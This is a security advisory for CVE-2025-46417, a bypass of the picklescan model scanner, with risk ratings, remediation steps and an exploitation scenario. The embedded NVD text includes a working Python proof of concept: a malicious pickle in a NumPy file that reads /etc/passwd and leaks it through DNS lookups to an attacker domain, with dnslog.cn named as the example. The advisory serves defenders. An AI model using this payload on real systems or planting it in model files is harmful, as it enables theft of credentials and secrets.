CVE-2025-46417: picklescan: scanner bypass enables DNS data exfiltration

GHSA-93mv-x874-956g HIGH PoC AVAILABLE CISA: TRACK*
Published April 7, 2025
CISO Take

Picklescan — the de-facto model scanner in ML pipelines — can be trivially bypassed using only Python standard library modules, giving a false sense of security to any team using it to gate model loading. An attacker embeds a DNS exfiltration payload in a pickle file; picklescan passes it clean, and when the model loads it reads local files (credentials, SSH keys, secrets) and leaks them via DNS to an attacker-controlled server. Upgrade to picklescan 0.0.25 immediately and treat any model file scanned with an older version as untrusted.

Risk Assessment

Risk is HIGH despite the low EPSS score. The technique is novel: it exploits picklescan's incomplete blacklist by using exclusively whitelisted stdlib modules (ssl, linecache), bypassing a tool teams explicitly rely on for security gating. The blast radius in environments where model files transit untrusted sources (HuggingFace, research collaborations, model marketplaces) is substantial. Exploitation requires crafting a malicious model file — moderate effort — but the bypass itself is trivially reproducible from the public PoC. Credential exfiltration via DNS is a well-understood, hard-to-block channel in most cloud and on-prem ML environments.

Affected Systems

Package Ecosystem Vulnerable Range Patched
picklescan pip < 0.0.25 0.0.25
402 3 dependents Pushed 2mo ago 95% patched ~12d to patch Full package profile →

Do you use picklescan? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
0.2%
chance of exploitation in 30 days
Higher than 41% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Recommended Action

6 steps
  1. PATCH

    Upgrade picklescan to >= 0.0.25 across all environments — dev, CI/CD, and production model serving.

  2. RE-SCAN: Re-validate any model files previously cleared by older picklescan versions; treat them as untrusted until rescanned.

  3. NETWORK CONTROLS

    Enforce DNS egress filtering in ML training and inference environments — flag or block unexpected outbound DNS queries from Python processes.

  4. FORMAT MIGRATION

    Prefer SafeTensors over pickle for model serialization; it eliminates arbitrary code execution during deserialization by design.

  5. DETECT

    Monitor for DNS queries containing patterns consistent with base64/hex-encoded data or unusually long subdomains originating from ML workloads.

  6. DEFENSE IN DEPTH

    Do not rely on picklescan alone — combine with network isolation, process sandboxing (e.g. seccomp), and model provenance verification (code signing, hash validation).

CISA SSVC Assessment

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.1.2 - AI risk assessment A.8.4 - AI system logging and monitoring
NIST AI RMF
GOVERN 1.7 - Processes for identifying and managing risks MEASURE 2.6 - Risk measurement and monitoring
OWASP LLM Top 10
LLM03:2025 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2025-46417?

Picklescan — the de-facto model scanner in ML pipelines — can be trivially bypassed using only Python standard library modules, giving a false sense of security to any team using it to gate model loading. An attacker embeds a DNS exfiltration payload in a pickle file; picklescan passes it clean, and when the model loads it reads local files (credentials, SSH keys, secrets) and leaks them via DNS to an attacker-controlled server. Upgrade to picklescan 0.0.25 immediately and treat any model file scanned with an older version as untrusted.

Is CVE-2025-46417 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-46417, increasing the risk of exploitation.

How to fix CVE-2025-46417?

1. PATCH: Upgrade picklescan to >= 0.0.25 across all environments — dev, CI/CD, and production model serving. 2. RE-SCAN: Re-validate any model files previously cleared by older picklescan versions; treat them as untrusted until rescanned. 3. NETWORK CONTROLS: Enforce DNS egress filtering in ML training and inference environments — flag or block unexpected outbound DNS queries from Python processes. 4. FORMAT MIGRATION: Prefer SafeTensors over pickle for model serialization; it eliminates arbitrary code execution during deserialization by design. 5. DETECT: Monitor for DNS queries containing patterns consistent with base64/hex-encoded data or unusually long subdomains originating from ML workloads. 6. DEFENSE IN DEPTH: Do not rely on picklescan alone — combine with network isolation, process sandboxing (e.g. seccomp), and model provenance verification (code signing, hash validation).

What systems are affected by CVE-2025-46417?

This vulnerability affects the following AI/ML architecture patterns: Model serving pipelines, Training pipelines, MLOps/CI-CD model intake workflows, Model registry and artifact management, Data science workstations.

What is the CVSS score for CVE-2025-46417?

No CVSS score has been assigned yet.

Technical Details

NVD Description

### Summary Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization. ### Details picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors. The payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content. The payload executes the following steps: - Reads sensitive local file content using `linecache` module - Encodes the data for DNS exfiltration - Constructs a malicious domain name using a third party service `dnslog.cn` - Triggers a DNS resolution via `ssl.get_server_certificate` - Leaks the encoded file content to the attacker ### PoC Before running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f"{subdomain}.ctmc2q.dnslog.cn"`. ```python import numpy as np def create_malicious_model(): # Define the payload class class DNSLogPayload: def __reduce__(self): # Step 1: read a line from /etc/passwd linecache = __import__("linecache") first_line = linecache.getline("/etc/passwd", 1).strip() # Step 2: Sanitize and embed it as a DNS subdomain subdomain = first_line.replace(":", "_").replace("/", "_") fqdn = f"{subdomain}.dns-logger.invalid" # Step 3: Use ssl.get_server_certificate to trigger DNS resolution ssl_mod = __import__("ssl") return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),)) # Wrap the payload in a NumPy object array arr = np.array([DNSLogPayload()], dtype=object) # Save to .npy file np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True) def load_model(model): try: return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1) except Exception: raise ValueError("Invalid file") if __name__ == "__main__": create_malicious_model() model = "dnslog_trigger_payload.npy" print("[i] Loading and executing the model") data = load_model(model) ``` ### Impact 1. Evade detection: Bypasses the latest version of picklescan's blacklist. 2. Exfiltrate sensitive local files to an attacker controlled DNS

Exploitation Scenario

An adversary publishes a convincing model checkpoint to a public model hub or research repository — perhaps a fine-tuned variant of a popular open-source model. An ML engineer downloads it for evaluation and runs picklescan (pre-0.0.25) as part of their standard intake workflow. Picklescan reports the file as clean. The engineer loads the model in their training environment, which has access to cloud provider credential files and SSH keys. On load, the embedded payload uses linecache to read ~/.aws/credentials, encodes the content as DNS-safe subdomains, and calls ssl.get_server_certificate() to trigger DNS resolution to an attacker-controlled domain. The credentials arrive at the attacker's DNS server within milliseconds, long before the engineer notices anything unusual.

Timeline

Published
April 7, 2025
Last Modified
April 24, 2025
First Seen
March 24, 2026

Related Vulnerabilities